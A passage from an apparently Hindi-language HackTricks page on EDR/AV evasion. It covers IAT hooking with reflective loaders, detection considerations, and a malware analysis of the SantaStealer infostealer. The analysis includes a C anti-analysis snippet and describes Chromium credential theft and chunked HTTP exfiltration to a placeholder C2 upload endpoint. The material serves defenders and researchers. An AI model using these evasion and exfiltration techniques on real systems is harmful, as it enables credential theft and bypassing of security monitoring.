• Pair with stack cutting/stack stitching techniques to land inside expected frames before the API prologue.

Operational integration

• Reflective loader को post‑ex DLLs के आगे prepend करें ताकि PIC और hooks DLL लोड होने पर स्वतः initialise हो जाएँ।
• Target APIs को register करने के लिए एक Aggressor script का उपयोग करें ताकि Beacon और BOFs बिना code changes के उसी evasion path से पारदर्शी लाभ उठाएं।

Detection/DFIR considerations

• IAT integrity: ऐसे entries जो non‑image (heap/anon) addresses पर resolve होते हैं; import pointers का periodic verification।
• Stack anomalies: return addresses जो loaded images के नहीं हैं; non‑image PIC की abrupt transitions; inconsistent RtlUserThreadStart ancestry।
• Loader telemetry: in‑process writes to IAT, early DllMain activity that modifies import thunks, unexpected RX regions created at load।
• Image‑load evasion: यदि hooking LoadLibrary* किया जा रहा है, तो memory masking events के साथ correlated automation/clr assemblies के suspicious loads की निगरानी करें।

Related building blocks and examples

• Reflective loaders जो load के दौरान IAT patching करते हैं (e.g., TitanLdr, AceLdr)
• Memory masking hooks (e.g., simplehook) और stack‑cutting PIC (stackcutting)
• PIC call‑stack spoofing stubs (e.g., Draugr)

SantaStealer Tradecraft for Fileless Evasion and Credential Theft

SantaStealer (aka BluelineStealer) दर्शाता है कि आधुनिक info-stealers कैसे AV bypass, anti-analysis और credential access को एक ही workflow में मिलाते हैं।

Keyboard layout gating & sandbox delay

• एक config flag (anti_cis) इंस्टॉल किए गए keyboard layouts को GetKeyboardLayoutList के माध्यम से enumerate करता है। यदि कोई Cyrillic layout मिलता है, तो sample एक खाली CIS marker drop करता है और stealers चलाने से पहले terminate हो जाता है, सुनिश्चित करते हुए कि यह excluded locales पर कभी detonate नहीं करेगा जबकि एक hunting artifact छोड़ता है।

HKL layouts[64];
int count = GetKeyboardLayoutList(64, layouts);
for (int i = 0; i < count; i++) {
LANGID lang = PRIMARYLANGID(HIWORD((ULONG_PTR)layouts[i]));
if (lang == LANG_RUSSIAN) {
CreateFileA("CIS", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
ExitProcess(0);
}
}
Sleep(exec_delay_seconds * 1000); // config-controlled delay to outlive sandboxes

परतदार check_antivm लॉजिक

• Variant A प्रोसेस लिस्ट को स्कैन करता है, प्रत्येक नाम का एक कस्टम rolling checksum लेकर उसे एम्बेडेड blocklists (debuggers/sandboxes) से मिलाता है; यह checksum कंप्यूटर नाम पर दोहराता है और C:\analysis जैसे working directories की जाँच करता है।
• Variant B सिस्टम गुणों (process-count floor, recent uptime) की जाँच करता है, VirtualBox additions का पता लगाने के लिए OpenServiceA("VBoxGuest") कॉल करता है, और single-stepping पकड़ने के लिए sleep के आसपास timing checks करता है। किसी भी मिलान पर मॉड्यूल लॉन्च होने से पहले प्रक्रिया रद्द कर दी जाती है।

Fileless helper + double ChaCha20 reflective loading

• मुख्य DLL/EXE में एक Chromium credential helper एम्बेड रहता है जिसे या तो डिस्क पर drop किया जाता है या मेमोरी में manually map किया जाता है; fileless मोड imports/relocations खुद ही resolve करता है इसलिए कोई helper artifacts लिखे नहीं जाते।
• वह helper एक second-stage DLL को ChaCha20 से दो बार encrypt करके store करता है (दो 32-byte keys + 12-byte nonces)। दोनों पास के बाद यह blob को reflectively load करता है (no LoadLibrary) और ChromElevator से निकले exports ChromeElevator_Initialize/ProcessAllBrowsers/Cleanup को कॉल करता है derived from ChromElevator।
• ChromElevator routines direct-syscall reflective process hollowing का उपयोग करके किसी live Chromium browser में inject करते हैं, AppBound Encryption keys inherit करते हैं, और ABE hardening के बावजूद SQLite databases से सीधे passwords/cookies/credit cards decrypt करते हैं।

मॉड्यूलर in-memory collection & chunked HTTP exfil

• create_memory_based_log एक global memory_generators function-pointer table पर iterate करता है और हर enabled module (Telegram, Discord, Steam, screenshots, documents, browser extensions, आदि) के लिए एक thread spawn करता है। प्रत्येक thread shared buffers में परिणाम लिखता है और लगभग 45s के join window के बाद अपनी file count रिपोर्ट करता है।
• समाप्त होने पर, सब कुछ statically linked miniz library से %TEMP%\\Log.zip के रूप में zip किया जाता है। ThreadPayload1 फिर 15s के लिये sleep करता है और archive को 10 MB chunks में HTTP POST के माध्यम से http://<C2>:6767/upload पर stream करता है, browser multipart/form-data boundary (----WebKitFormBoundary***) को spoof करते हुए। प्रत्येक chunk में User-Agent: upload, auth: <build_id>, वैकल्पिक w: <campaign_tag> जोड़ा जाता है, और आखिरी chunk में complete: true जोड़ा जाता है ताकि C2 को reassembly पूरा होने का पता चल सके।

References

• Crystal Kit – blog

• Crystal-Kit – GitHub

• Elastic – Call stacks, no more free passes for malware

• Crystal Palace – docs

• simplehook – sample

• stackcutting – sample

• Draugr – call-stack spoofing PIC

• Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer

• Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks

• Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations

• Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports

• Windows 11 Forwarded Exports Inventory (apis_fwd.txt)

• Microsoft Docs – Known DLLs

• Microsoft – Protected Processes

• Microsoft – EKU reference (MS-PPSEC)

• Sysinternals – Process Monitor

• CreateProcessAsPPL launcher

• Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)

• Zero Salarium – Break The Protective Shell Of Windows Defender With The Folder Redirect Technique

• Microsoft – mklink command reference

• Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder

• Rapid7 – SantaStealer is Coming to Town: A New, Ambitious Infostealer

• ChromElevator – Chrome App Bound Encryption Decryption

• Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।